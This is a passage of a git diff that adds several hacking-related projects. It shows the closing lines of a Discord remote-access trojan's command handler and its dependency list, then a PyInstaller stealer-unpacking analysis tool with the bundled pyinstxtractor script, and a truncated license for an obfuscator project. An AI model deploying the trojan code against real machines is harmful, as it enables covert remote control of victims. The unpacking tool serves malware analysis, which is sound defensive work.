+ if inputid == 'all': + webbrowser.open(url) + await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +bot.run(btoken) diff --git a/Knight-Discord-Remote-Access-Trojan/requirements.txt b/Knight-Discord-Remote-Access-Trojan/requirements.txt new file mode 100644 index 0000000..b8454d7 --- /dev/null +++ b/Knight-Discord-Remote-Access-Trojan/requirements.txt @@ -0,0 +1,5 @@ +pygame>=2.5.0 +discord.py>=2.3.0 +Pillow>=9.5.0 +keyboard>=0.13.5 +pyinstaller>=5.13.0 \ No newline at end of file diff --git a/PyAnalyzer-UnpackStealers/.gitignore b/PyAnalyzer-UnpackStealers/.gitignore new file mode 100644 index 0000000..d2e0779 --- /dev/null +++ b/PyAnalyzer-UnpackStealers/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/PyAnalyzer-UnpackStealers/LICENSE b/PyAnalyzer-UnpackStealers/LICENSE new file mode 100644 index 0000000..5c187b6 --- /dev/null +++ b/PyAnalyzer-UnpackStealers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 gumbobr0t + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/PyAnalyzer-UnpackStealers/README.md b/PyAnalyzer-UnpackStealers/README.md new file mode 100644 index 0000000..699e977 --- /dev/null +++ b/PyAnalyzer-UnpackStealers/README.md @@ -0,0 +1,10 @@ +# PyAnalyzer +Simple python script utilizing pycdc and pyinstxtractor to decompile and disassemble pyinstaller packed executables. + +⚠️**You might need to build the pycdc executable yourself and place it inside the `resources` folder, because it does not work on every system.** +https://github.com/zrax/pycdc + +Example usage: +`python main.py FILE_TO_ANALYZE.exe` + +Thanks to zrax and extremecoders for the disassemblers and unpackers. diff --git a/PyAnalyzer-UnpackStealers/main.py b/PyAnalyzer-UnpackStealers/main.py new file mode 100644 index 0000000..af88dce --- /dev/null +++ b/PyAnalyzer-UnpackStealers/main.py @@ -0,0 +1,95 @@ +import subprocess +import os +import shutil +import sys +import logging + +logging.basicConfig(filename='analyzer.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') + +def decompile_pyc(pyc_file, source_dir): + try: + pycdc_process = subprocess.Popen(['resources\pycdc.exe', pyc_file], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + stdout, stderr = pycdc_process.communicate() + decoded_code = stdout.decode('utf-8') + pyc_filename = os.path.basename(pyc_file) + py_filename = pyc_filename[:-4] + '.py' + + count = 2 + while os.path.exists(os.path.join(source_dir, py_filename)): + py_filename = pyc_filename[:-4] + f'_{count}.py' + count += 1 + + py_filepath = os.path.join(source_dir, py_filename) + with open(py_filepath, 'w') as py_file: + py_file.write(decoded_code) + logging.info(f"Decompiled {pyc_filename}") + print(f"Decompiled {pyc_filename}") + except Exception as e: + logging.error(f"Error decompiling pyc: {e}") + print(f"Error decompiling pyc: {e}") + return + +def main(): + logging.info("Starting analysis.") + if len(sys.argv) != 2: + logging.error("Usage: python script.py FILE_TO_ANALYZE.exe") + print("Usage: python script.py FILE_TO_ANALYZE.exe") + sys.exit(1) + + file_to_analyze = sys.argv[1] + extracted_dir = file_to_analyze + '_extracted' + source_dir = file_to_analyze + '_source' + entry_points_dir = os.path.join(source_dir, 'entry_points') + + os.makedirs(source_dir, exist_ok=True) + os.makedirs(entry_points_dir, exist_ok=True) + + try: + pycdc_process = subprocess.Popen(['python', 'resources\pyinstxtractor.py', file_to_analyze, '-w', extracted_dir], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + stdout, stderr = pycdc_process.communicate() + output_lines = stdout.decode('utf-8').splitlines() + + entry_points = [line.split()[-1] for line in output_lines if 'Possible entry point' in line] + logging.info(f"Possible entry points: {entry_points}") + + for root, dirs, files in os.walk(extracted_dir): + for file in files: + if file.endswith('.pyc'): + pyc_file = os.path.join(root, file) + pyc_filename = os.path.basename(pyc_file) + if pyc_filename in entry_points: + logging.info(f"Decompiling entry point: {pyc_filename}") + decompile_pyc(pyc_file, source_dir) + source_file = os.path.join(source_dir, pyc_filename[:-4] + '.py') + entry_point_dest = os.path.join(entry_points_dir, pyc_filename[:-4] + '.py') + shutil.move(source_file, entry_point_dest) + + continue_with_others = input("Do you want to continue with decompiling other files? (y/n): ").strip().lower() + if continue_with_others != 'y': + logging.info("Decompilation of other files cancelled.") + print("Decompilation of other files cancelled.") + shutil.rmtree(extracted_dir) + logging.info("Analysis completed.") + print("Analysis completed.") + sys.exit(0) + + for root, dirs, files in os.walk(extracted_dir): + for file in files: + if file.endswith('.pyc'): + pyc_file = os.path.join(root, file) + pyc_filename = os.path.basename(pyc_file) + if pyc_filename not in entry_points: + logging.info(f"Decompiling: {pyc_filename}") + decompile_pyc(pyc_file, source_dir) + + except subprocess.CalledProcessError as e: + logging.error(f"Error extracting bytecode: {e}") + print(f"Error extracting bytecode: {e}") + sys.exit(1) + + shutil.rmtree(extracted_dir) + logging.info("Analysis completed.") + print("Analysis completed.") + +if __name__ == '__main__': + main() diff --git a/PyAnalyzer-UnpackStealers/requirements.txt b/PyAnalyzer-UnpackStealers/requirements.txt new file mode 100644 index 0000000..14e529b --- /dev/null +++ b/PyAnalyzer-UnpackStealers/requirements.txt @@ -0,0 +1 @@ +logging \ No newline at end of file diff --git a/PyAnalyzer-UnpackStealers/resources/pycdc.exe b/PyAnalyzer-UnpackStealers/resources/pycdc.exe new file mode 100644 index 0000000..1660025 Binary files /dev/null and b/PyAnalyzer-UnpackStealers/resources/pycdc.exe differ diff --git a/PyAnalyzer-UnpackStealers/resources/pyinstxtractor.py b/PyAnalyzer-UnpackStealers/resources/pyinstxtractor.py new file mode 100644 index 0000000..4bf1897 --- /dev/null +++ b/PyAnalyzer-UnpackStealers/resources/pyinstxtractor.py @@ -0,0 +1,468 @@ +""" +PyInstaller Extractor v2.0 (Supports pyinstaller 5.13.0, 5.12.0, 5.11.0, 5.10.1, 5.10.0, 5.9.0, 5.8.0, 5.7.0, 5.6.2, 5.6.1, 5.6, 5.5, 5.4.1, 5.4, 5.3, 5.2, 5.1, 5.0.1, 5.0, 4.10, 4.9, 4.8, 4.7, 4.6, 4.5.1, 4.5, 4.4, 4.3, 4.2, 4.1, 4.0, 3.6, 3.5, 3.4, 3.3, 3.2, 3.1, 3.0, 2.1, 2.0) +Author : Extreme Coders +E-mail : extremecoders(at)hotmail(dot)com +Web : https://0xec.blogspot.com +Date : 26-March-2020 +Url : https://github.com/extremecoders-re/pyinstxtractor + +For any suggestions, leave a comment on +https://forum.tuts4you.com/topic/34455-pyinstaller-extractor/ + +This script extracts a pyinstaller generated executable file. +Pyinstaller installation is not needed. The script has it all. + +For best results, it is recommended to run this script in the +same version of python as was used to create the executable. +This is just to prevent unmarshalling errors(if any) while +extracting the PYZ archive. + +Usage : Just copy this script to the directory where your exe resides + and run the script with the exe file name as a parameter + +C:\path\to\exe\>python pyinstxtractor.py +$ /path/to/exe/python pyinstxtractor.py + +Licensed under GNU General Public License (GPL) v3. +You are free to modify this source. + +CHANGELOG +================================================ + +Version 1.1 (Jan 28, 2014) +------------------------------------------------- +- First Release +- Supports only pyinstaller 2.0 + +Version 1.2 (Sept 12, 2015) +------------------------------------------------- +- Added support for pyinstaller 2.1 and 3.0 dev +- Cleaned up code +- Script is now more verbose +- Executable extracted within a dedicated sub-directory + +(Support for pyinstaller 3.0 dev is experimental) + +Version 1.3 (Dec 12, 2015) +------------------------------------------------- +- Added support for pyinstaller 3.0 final +- Script is compatible with both python 2.x & 3.x (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) + +Version 1.4 (Jan 19, 2016) +------------------------------------------------- +- Fixed a bug when writing pyc files >= version 3.3 (Thanks to Daniello Alto: https://github.com/Djamana) + +Version 1.5 (March 1, 2016) +------------------------------------------------- +- Added support for pyinstaller 3.1 (Thanks to Berwyn Hoyt for reporting) + +Version 1.6 (Sept 5, 2016) +------------------------------------------------- +- Added support for pyinstaller 3.2 +- Extractor will use a random name while extracting unnamed files. +- For encrypted pyz archives it will dump the contents as is. Previously, the tool would fail. + +Version 1.7 (March 13, 2017) +------------------------------------------------- +- Made the script compatible with python 2.6 (Thanks to Ross for reporting) + +Version 1.8 (April 28, 2017) +------------------------------------------------- +- Support for sub-directories in .pyz files (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) + +Version 1.9 (November 29, 2017) +------------------------------------------------- +- Added support for pyinstaller 3.3 +- Display the scripts which are run at entry (Thanks to Michael Gillespie @ malwarehunterteam for the feature request) + +Version 2.0 (March 26, 2020) +------------------------------------------------- +- Project migrated to github +- Supports pyinstaller 3.6 +- Added support for Python 3.7, 3.8 +- The header of all extracted pyc's are now automatically fixed +""" + +from __future__ import print_function +import os +import struct +import marshal +import zlib +import sys +from uuid import uuid4 as uniquename + + +class CTOCEntry: + def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name): + self.position = position + self.cmprsdDataSize = cmprsdDataSize + self.uncmprsdDataSize = uncmprsdDataSize + self.cmprsFlag = cmprsFlag + self.typeCmprsData = typeCmprsData + self.name = name + + +class PyInstArchive: + PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0 + PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+ + MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller + + def __init__(self, path): + self.filePath = path + self.pycMagic = b'\0' * 4 + self.barePycList = [] # List of pyc's whose headers have to be fixed + + + def open(self): + try: + self.fPtr = open(self.filePath, 'rb') + self.fileSize = os.stat(self.filePath).st_size + except: + print('[!] Error: Could not open {0}'.format(self.filePath)) + return False + return True + + + def close(self): + try: + self.fPtr.close() + except: + pass + + + def checkFile(self): + print('[+] Processing {0}'.format(self.filePath)) + + searchChunkSize = 8192 + endPos = self.fileSize + self.cookiePos = -1 + + if endPos < len(self.MAGIC): + print('[!] Error : File is too short or truncated') + return False + + while True: + startPos = endPos - searchChunkSize if endPos >= searchChunkSize else 0 + chunkSize = endPos - startPos + + if chunkSize < len(self.MAGIC): + break + + self.fPtr.seek(startPos, os.SEEK_SET) + data = self.fPtr.read(chunkSize) + + offs = data.rfind(self.MAGIC) + + if offs != -1: + self.cookiePos = startPos + offs + break + + endPos = startPos + len(self.MAGIC) - 1 + + if startPos == 0: + break + + if self.cookiePos == -1: + print('[!] Error : Missing cookie, unsupported pyinstaller version or not a pyinstaller archive') + return False + + self.fPtr.seek(self.cookiePos + self.PYINST20_COOKIE_SIZE, os.SEEK_SET) + + if b'python' in self.fPtr.read(64).lower(): + print('[+] Pyinstaller version: 2.1+') + self.pyinstVer = 21 # pyinstaller 2.1+ + else: + self.pyinstVer = 20 # pyinstaller 2.0 + print('[+] Pyinstaller version: 2.0') + + return True + + + def getCArchiveInfo(self): + try: + if self.pyinstVer == 20: + self.fPtr.seek(self.cookiePos, os.SEEK_SET) + + # Read CArchive cookie + (magic, lengthofPackage, toc, tocLen, pyver) = \ + struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE)) + + elif self.pyinstVer == 21: + self.fPtr.seek(self.cookiePos, os.SEEK_SET) + + # Read CArchive cookie + (magic, lengthofPackage, toc, tocLen, pyver, pylibname) = \ + struct.unpack('!8sIIii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE)) + + except: + print('[!] Error : The file is not a pyinstaller archive') + return False + + self.pymaj, self.pymin = (pyver//100, pyver%100) if pyver >= 100 else (pyver//10, pyver%10) + print('[+] Python version: {0}.{1}'.format(self.pymaj, self.pymin)) + + # Additional data after the cookie + tailBytes = self.fileSize - self.cookiePos - (self.PYINST20_COOKIE_SIZE if self.pyinstVer == 20 else self.PYINST21_COOKIE_SIZE) + + # Overlay is the data appended at the end of the PE + self.overlaySize = lengthofPackage + tailBytes + self.overlayPos = self.fileSize - self.overlaySize + self.tableOfContentsPos = self.overlayPos + toc + self.tableOfContentsSize = tocLen + + print('[+] Length of package: {0} bytes'.format(lengthofPackage)) + return True + + + def parseTOC(self): + # Go to the table of contents + self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET) + + self.tocList = [] + parsedLen = 0 + + # Parse table of contents + while parsedLen < self.tableOfContentsSize: + (entrySize, ) = struct.unpack('!i', self.fPtr.read(4)) + nameLen = struct.calcsize('!iIIIBc') + + (entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \ + struct.unpack( \ + '!IIIBc{0}s'.format(entrySize - nameLen), \ + self.fPtr.read(entrySize - 4)) + + try: + name = name.decode("utf-8").rstrip("\0") + except UnicodeDecodeError: + newName = str(uniquename()) + print('[!] Warning: File name {0} contains invalid bytes. Using random name {1}'.format(name, newName)) + name = newName + + # Prevent writing outside the extraction directory + if name.startswith("/"): + name = name.lstrip("/") + + if len(name) == 0: + name = str(uniquename()) + print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name)) + + self.tocList.append( \ + CTOCEntry( \ + self.overlayPos + entryPos, \ + cmprsdDataSize, \ + uncmprsdDataSize, \ + cmprsFlag, \ + typeCmprsData, \ + name \ + )) + + parsedLen += entrySize + print('[+] Found {0} files in CArchive'.format(len(self.tocList))) + + + def _writeRawData(self, filepath, data): + nm = filepath.replace('\\', os.path.sep).replace('/', os.path.sep).replace('..', '__') + nmDir = os.path.dirname(nm) + if nmDir != '' and not os.path.exists(nmDir): # Check if path exists, create if not + os.makedirs(nmDir) + + with open(nm, 'wb') as f: + f.write(data) + + + def extractFiles(self): + print('[+] Beginning extraction...please standby') + extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted') + + if not os.path.exists(extractionDir): + os.mkdir(extractionDir) + + os.chdir(extractionDir) + + for entry in self.tocList: + self.fPtr.seek(entry.position, os.SEEK_SET) + data = self.fPtr.read(entry.cmprsdDataSize) + + if entry.cmprsFlag == 1: + try: + data = zlib.decompress(data) + except zlib.error: + print('[!] Error : Failed to decompress {0}'.format(entry.name)) + continue + # Malware may tamper with the uncompressed size + # Comment out the assertion in such a case + assert len(data) == entry.uncmprsdDataSize # Sanity Check + + if entry.typeCmprsData == b'd' or entry.typeCmprsData == b'o': + # d -> ARCHIVE_ITEM_DEPENDENCY + # o -> ARCHIVE_ITEM_RUNTIME_OPTION + # These are runtime options, not files + continue + + basePath = os.path.dirname(entry.name) + if basePath != '': + # Check if path exists, create if not + if not os.path.exists(basePath): + os.makedirs(basePath) + + if entry.typeCmprsData == b's': + # s -> ARCHIVE_ITEM_PYSOURCE + # Entry point are expected to be python scripts + print('[+] Possible entry point: {0}.pyc'.format(entry.name)) + + if self.pycMagic == b'\0' * 4: + # if we don't have the pyc header yet, fix them in a later pass + self.barePycList.append(entry.name + '.pyc') + self._writePyc(entry.name + '.pyc', data) + + elif entry.typeCmprsData == b'M' or entry.typeCmprsData == b'm': + # M -> ARCHIVE_ITEM_PYPACKAGE + # m -> ARCHIVE_ITEM_PYMODULE + # packages and modules are pyc files with their header intact + + # From PyInstaller 5.3 and above pyc headers are no longer stored + # https://github.com/pyinstaller/pyinstaller/commit/a97fdf + if data[2:4] == b'\r\n': + # < pyinstaller 5.3 + if self.pycMagic == b'\0' * 4: + self.pycMagic = data[0:4] + self._writeRawData(entry.name + '.pyc', data) + + else: + # >= pyinstaller 5.3 + if self.pycMagic == b'\0' * 4: + # if we don't have the pyc header yet, fix them in a later pass + self.barePycList.append(entry.name + '.pyc') + + self._writePyc(entry.name + '.pyc', data) + + else: + self._writeRawData(entry.name, data) + + if entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z': + self._extractPyz(entry.name) + + # Fix bare pyc's if any + self._fixBarePycs() + + + def _fixBarePycs(self): + for pycFile in self.barePycList: + with open(pycFile, 'r+b') as pycFile: + # Overwrite the first four bytes + pycFile.write(self.pycMagic) + + + def _writePyc(self, filename, data): + with open(filename, 'wb') as pycFile: + pycFile.write(self.pycMagic) # pyc magic + + if self.pymaj >= 3 and self.pymin >= 7: # PEP 552 -- Deterministic pycs + pycFile.write(b'\0' * 4) # Bitfield + pycFile.write(b'\0' * 8) # (Timestamp + size) || hash + + else: + pycFile.write(b'\0' * 4) # Timestamp + if self.pymaj >= 3 and self.pymin >= 3: + pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3 + + pycFile.write(data) + + + def _extractPyz(self, name): + dirName = name + '_extracted' + # Create a directory for the contents of the pyz + if not os.path.exists(dirName): + os.mkdir(dirName) + + with open(name, 'rb') as f: + pyzMagic = f.read(4) + assert pyzMagic == b'PYZ\0' # Sanity Check + + pyzPycMagic = f.read(4) # Python magic value + + if self.pycMagic == b'\0' * 4: + self.pycMagic = pyzPycMagic + + elif self.pycMagic != pyzPycMagic: + self.pycMagic = pyzPycMagic + print('[!] Warning: pyc magic of files inside PYZ archive are different from those in CArchive') + + # Skip PYZ extraction if not running under the same python version + if self.pymaj != sys.version_info.major or self.pymin != sys.version_info.minor: + print('[!] Warning: This script is running in a different Python version than the one used to build the executable.') + print('[!] Please run this script in Python {0}.{1} to prevent extraction errors during unmarshalling'.format(self.pymaj, self.pymin)) + print('[!] Skipping pyz extraction') + return + + (tocPosition, ) = struct.unpack('!i', f.read(4)) + f.seek(tocPosition, os.SEEK_SET) + + try: + toc = marshal.load(f) + except: + print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name)) + return + + print('[+] Found {0} files in PYZ archive'.format(len(toc))) + + # From pyinstaller 3.1+ toc is a list of tuples + if type(toc) == list: + toc = dict(toc) + + for key in toc.keys(): + (ispkg, pos, length) = toc[key] + f.seek(pos, os.SEEK_SET) + fileName = key + + try: + # for Python > 3.3 some keys are bytes object some are str object + fileName = fileName.decode('utf-8') + except: + pass + + # Prevent writing outside dirName + fileName = fileName.replace('..', '__').replace('.', os.path.sep) + + if ispkg == 1: + filePath = os.path.join(dirName, fileName, '__init__.pyc') + + else: + filePath = os.path.join(dirName, fileName + '.pyc') + + fileDir = os.path.dirname(filePath) + if not os.path.exists(fileDir): + os.makedirs(fileDir) + + try: + data = f.read(length) + data = zlib.decompress(data) + except: + print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(filePath)) + open(filePath + '.encrypted', 'wb').write(data) + else: + self._writePyc(filePath, data) + + +def main(): + if len(sys.argv) < 2: + print('[+] Usage: pyinstxtractor.py ') + + else: + arch = PyInstArchive(sys.argv[1]) + if arch.open(): + if arch.checkFile(): + if arch.getCArchiveInfo(): + arch.parseTOC() + arch.extractFiles() + arch.close() + print('[+] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1])) + print('') + print('You can now use a python decompiler on the pyc files within the extracted directory') + return + + arch.close() + + +if __name__ == '__main__': + main() diff --git a/Rose-Obfv1/LICENSE b/Rose-Obfv1/LICENSE new file mode 100644 index 0000000..5049c14 --- /dev/null +++ b/Rose-Obfv1/LICENSE @@ -0,0 +1,277 @@ +Eclipse Public License - v 2.0 + + THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE + PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION + OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. + +1. DEFINITIONS + +"Contribution" means: + + a) in the case of the initial Contributor, the initial content + Distributed under this Agreement, and + + b) in the case of each subsequent Contributor: + i) changes to the Program, and + ii) additions to the Program; + where such changes and/or additions to the Program originate from + and are Distributed by that particular Contributor. A Contribution + "originates" from a Contributor if it was added to the Program by + such Contributor itself or anyone acting on such Contributor's behalf. + Contributions do not include changes or additions to the Program that + are not Modified Works. + +"Contributor" means any person or entity that Distributes the Program. + +"Licensed Patents" mean patent claims licensable by a Contributor which +are necessarily infringed by the use or sale of its Contribution alone +or when combined with the Program. + +"Program" means the Contributions Distributed in accordance with this +Agreement. + +"Recipient" means anyone who receives the Program under this Agreement +or any Secondary License (as applicable), including Contributors. + +"Derivative Works" shall mean any work, whether in Source Code or other +form, that is based on (or derived from) the Program and for which the +editorial revisions, annotations, elaborations, or other modifications +represent, as a whole, an original work of authorship. + +"Modified Works" shall mean any work in Source Code or other form that +results from an addition to, deletion from, or modification of the +contents of the Program, including, for purposes of clarity any new file +in Source Code form that contains any contents of the Program. Modified +Works shall not include works that contain only declarations, +interfaces, types, classes, structures, or files of the Program solely +in each case in order to link to, bind by name, or subclass the Program +or Modified Works thereof. + +"Distribute" means the acts of a) distributing or b) making available +in any manner that enables the transfer of a copy. + +"Source Code" means the form of a Program preferred for making +modifications, including but not limited to software source code, +documentation source, and configuration files. + +"Secondary License" means either the GNU General Public License, +Version 2.0, or any later versions of that license, including any +exceptions or additional permissions as identified by the initial +Contributor. + +2. GRANT OF RIGHTS + + a) Subject to the terms of this Agreement, each Contributor hereby + grants Recipient a non-exclusive, worldwide, royalty-free copyright + license to reproduce, prepare Derivative Works of, publicly display, + publicly perform, Distribute and sublicense the Contribution of such + Contributor, if any, and such Derivative Works. + + b) Subject to the terms of this Agreement, each Contributor hereby + grants Recipient a non-exclusive, worldwide, royalty-free patent + license under Licensed Patents to make, use, sell, offer to sell, + import and otherwise transfer the Contribution of such Contributor, + if any, in Source Code or other form. This patent license shall + apply to the combination of the Contribution and the Program if, at + the time the Contribution is added by the Contributor, such addition + of the Contribution causes such combination to be covered by the + Licensed Patents. The patent license shall not apply to any other + combinations which include the Contribution. No hardware per se is + licensed hereunder. + + c) Recipient understands that although each Contributor grants the + licenses to its Contributions set forth herein, no assurances are + provided by any Contributor that the Program does not infringe the + patent or other intellectual property rights of any other entity. + Each Contributor disclaims any liability to Recipient for claims + brought by any other entity based on infringement of intellectual + property rights or otherwise. As a condition to exercising the + rights and licenses granted hereunder, each Recipient hereby + assumes sole responsibility to secure any other intellectual + property rights needed, if any. For example, if a third party + patent license is required to allow Recipient to Distribute the + Program, it is Recipient's responsibility to acquire that license + before distributing the Program. + + d) Each Contributor represents that to its knowledge it has + sufficient copyright rights in its Contribution, if any, to grant + the copyright license set forth in this Agreement. + + e) Notwithstanding the terms of any Secondary License, no + Contributor makes additional grants to any Recipient (other than + those set forth in this Agreement) as a result of such Recipient's + receipt of the Program under the terms of a Secondary License + (if permitted under the terms of Section 3). + +3. REQUIREMENTS + +3.1 If a Contributor Distributes the Program in any form, then: + + a) the Program must also be made available as Source Code, in + accordance with section 3.2, and the Contributor must accompany + the Program with a statement that the Source Code for the Program + is available under this Agreement, and informs Recipients how to + obtain it in a reasonable manner on or through a medium customarily + used for software exchange; and + + b) the Contributor may Distribute the Program under a license + different than this Agreement, provided that such license: + i) effectively disclaims on behalf of all other Contributors all + warranties and conditions, express and implied, including + warranties or conditions of title and non-infringement, and + implied warranties or conditions of merchantability and fitness + for a particular purpose; + + ii) effectively excludes on behalf of all other Contributors all + liability for damages, including direct, indirect, special, + incidental and consequential damages, such as lost profits; + + iii) does not attempt to limit or alter the recipients' rights + in the Source Code under section 3.2; and + + iv) requires any subsequent distribution of the Program by any + party to be under a license that satisfies the requirements + of this section 3. + +3.2 When the Program is Distributed as Source Code: + + a) it must be made available under this Agreement, or if the + Program (i) is combined with other material in a separate file or + files made available under a Secondary License, and (ii) the initial + Contributor attached to the Source Code the notice described in + Exhibit A of this Agreement, then the Program may be made available + under the terms of such Secondary Licenses, and + + b) a copy of this Agreement must be included with each copy of + the Program. + +3.3 Contributors may not remove or alter any copyright, patent, +trademark, attribution notices, disclaimers of warranty, or limitations +of liability ("notices") contained within the Program from any copy of +the Program which they Distribute, provided that Contributors may add +their own appropriate notices. + +4. COMMERCIAL DISTRIBUTION + +Commercial distributors of software may accept certain responsibilities +with respect to end users, business partners and the like. While this +license is intended to facilitate the commercial use of the Program, +the Contributor who includes the Program in a commercial product +offering should do so in a manner which does not create potential +liability for other Contributors. Therefore, if a Contributor includes +the Program in a commercial product offering, such Contributor +("Commercial Contributor") hereby agrees to defend and indemnify every +other Contributor ("Indemnified Contributor") against any losses, +damages and costs (collectively "Losses") arising from claims, lawsuits +and other legal actions brought by a third party against the Indemnified +Contributor to the extent caused by the acts or omissions of such +Commercial Contributor in connection with its distribution of the Program +in a commercial product offering. The obligations in this section do not +apply to any claims or Losses relating to any actual or alleged +intellectual property infringement. In order to qualify, an Indemnified +Contributor must: a) promptly notify the Commercial Contributor in +writing of such claim, and b) allow the Commercial Contributor to control, +and cooperate with the Commercial Contributor in, the defense and any +related settlement negotiations. The Indemnified Contributor may +participate in any such claim at its own expense. + +For example, a Contributor might include the Program in a commercial +product offering, Product X. That Contributor is then a Commercial +Contributor. If that Commercial Contributor then makes performance +claims, or offers warranties related to Product X, those performance +claims and warranties are such Commercial Contributor's responsibility +alone. Under this section, the Commercial Contributor would have to +defend claims against the other Contributors related to those performance +claims and warranties, and if a court requires any other Contributor to +pay any damages as a result, the Commercial Contributor must pay +those damages. + +5. NO WARRANTY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT +PERMITTED BY APPLICABLE LAW, THE PROGRAM IS PROVIDED ON AN "AS IS" +BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR +IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF +TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR +PURPOSE. Each Recipient is solely responsible for determining the +appropriateness of using and distributing the Program and assumes all +risks associated with its exercise of rights under this Agreement, +including but not limited to the risks and costs of program errors, +compliance with applicable laws, damage to or loss of data, programs +or equipment, and unavailability or interruption of operations. + +6. DISCLAIMER OF LIABILITY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT +PERMITTED BY APPLICABLE LAW, NEITHER RECIPIENT NOR ANY CONTRIBUTORS +SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST 